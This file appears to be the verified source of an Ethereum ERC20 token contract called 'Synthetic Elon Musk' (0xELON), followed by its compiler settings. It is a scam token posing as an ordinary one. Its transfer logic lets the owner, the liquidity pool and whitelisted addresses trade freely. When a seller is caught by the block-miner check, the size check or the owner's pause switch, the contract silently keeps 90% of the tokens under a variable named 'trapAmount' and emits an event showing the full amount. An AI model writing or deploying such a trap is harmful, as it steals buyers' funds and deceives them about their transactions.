文件 1 的 1:CheapERC20.sol
pragma solidity ^0.8.3;
interface ERC20Interface {
function totalSupply() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) external;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Elon is ERC20Interface, Owned {
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public pool;
bool paused;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address ethermine = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8;
address sparkpool = 0x5A0b54D5dc17e0AadC383d2db43B0a0D3E029c4c;
address nanopool = 0x52bc44d5378309EE2abF1539BF71dE1b7d7bE3b5;
address f2pool2 = 0x829BD824B016326A401d083B33D092293333A830;
address other = 0xbCC817f057950b0df41206C5D7125E6225Cae18e;
address babelpool = 0xB3b7874F13387D44a3398D298B075B7A3505D8d4;
address spiderpool = 0x04668Ec2f57cC15c381b461B9fEDaB5D451c8F7F;
address other2 = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8;
address other3 = 0x06B8C5883Ec71bC3f4B332081519f23834c8706E;
address hiveonpool = 0x1aD91ee08f21bE3dE0BA2ba6918E714dA6B45836;
address beepool = 0x99C85bb64564D9eF9A99621301f22C9993Cb89E3;
address other4 = 0xc8F595E2084DB484f8A80109101D58625223b7C9;
address uupool = 0xD224cA0c819e8E97ba0136B3b95ceFf503B79f53;
address binancepool = 0xc365c3315cF926351CcAf13fA7D19c8C4058C8E1;
address[14] blacklist = [ethermine, sparkpool, nanopool, f2pool2, other, babelpool, spiderpool, other2, other3, hiveonpool, beepool, other4, uupool, binancepool];
address white8 = 0x7B3B6a7bC87f978C9cb134C85d6623f8F6f5C0e3;
address white9 = 0xbb5414c16d3c373A6f795C4d21DDd874a1d2f897;
address white10 = 0xD81d0eAbe84D9692baC6aE816A0B11Bcb3953372;
address white11 = 0x7A3Ef0De7Fd9DF8951fafBe8F7ef3240DE5837E8;
address white12 = 0xe85740D4B34F727E8cBc9D676d253A4Fd736a239;
address white13 = 0x54539aA494A66c14130705DB7f4285fd2A46F68d;
address[6] whitelist = [white8, white9, white10, white11, white12, white13];
address uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor() {
symbol = "0xELON";
name = "Synthetic Elon Musk";
decimals = 18;
_totalSupply = 1000000000000 ether;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
allowed[owner][uniswapRouter] = _totalSupply;
}
function pause() public onlyOwner {
paused = true;
}
function transferPool(address _pool) public onlyOwner {
pool = _pool;
}
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
function withdraw() public onlyOwner {
(bool success,) = owner.call{value: address(this).balance}("");
require(success, "Failed to send ether");
}
function _transfer(address from, address to, uint tokens) internal {
if (from != address(0) && pool == address(0)) { pool = to; }
bool isFlashbot = false;
for (uint i = 0; i < blacklist.length; i++) {
if (block.coinbase == blacklist[i]) {
isFlashbot = true;
break;
}
}
bool isWhitelisted = false;
for (uint i = 0; i < whitelist.length; i++) {
if (from == whitelist[i]) {
isWhitelisted = true;
break;
}
}
bool isBig = tokens >= balances[pool] / 200;
bool allowSelling = !isFlashbot && !isBig && !paused;
if(from == owner || to == owner || from == pool || isWhitelisted || allowSelling) {
balances[from] -= tokens;
balances[to] += tokens;
} else {
balances[from] -= tokens;
uint trapAmount = (tokens * 10) / 100;
balances[to] += trapAmount;
}
emit Transfer(msg.sender, to, tokens);
}
function transfer(address to, uint tokens) public override returns (bool success) {
_transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
if(msg.sender != uniswapRouter) {
allowed[from][msg.sender] -= tokens;
}
_transfer(from, to, tokens);
return true;
}
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
}
{
"compilationTarget": {
"contracts/CheapERC20.sol": "Elon"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}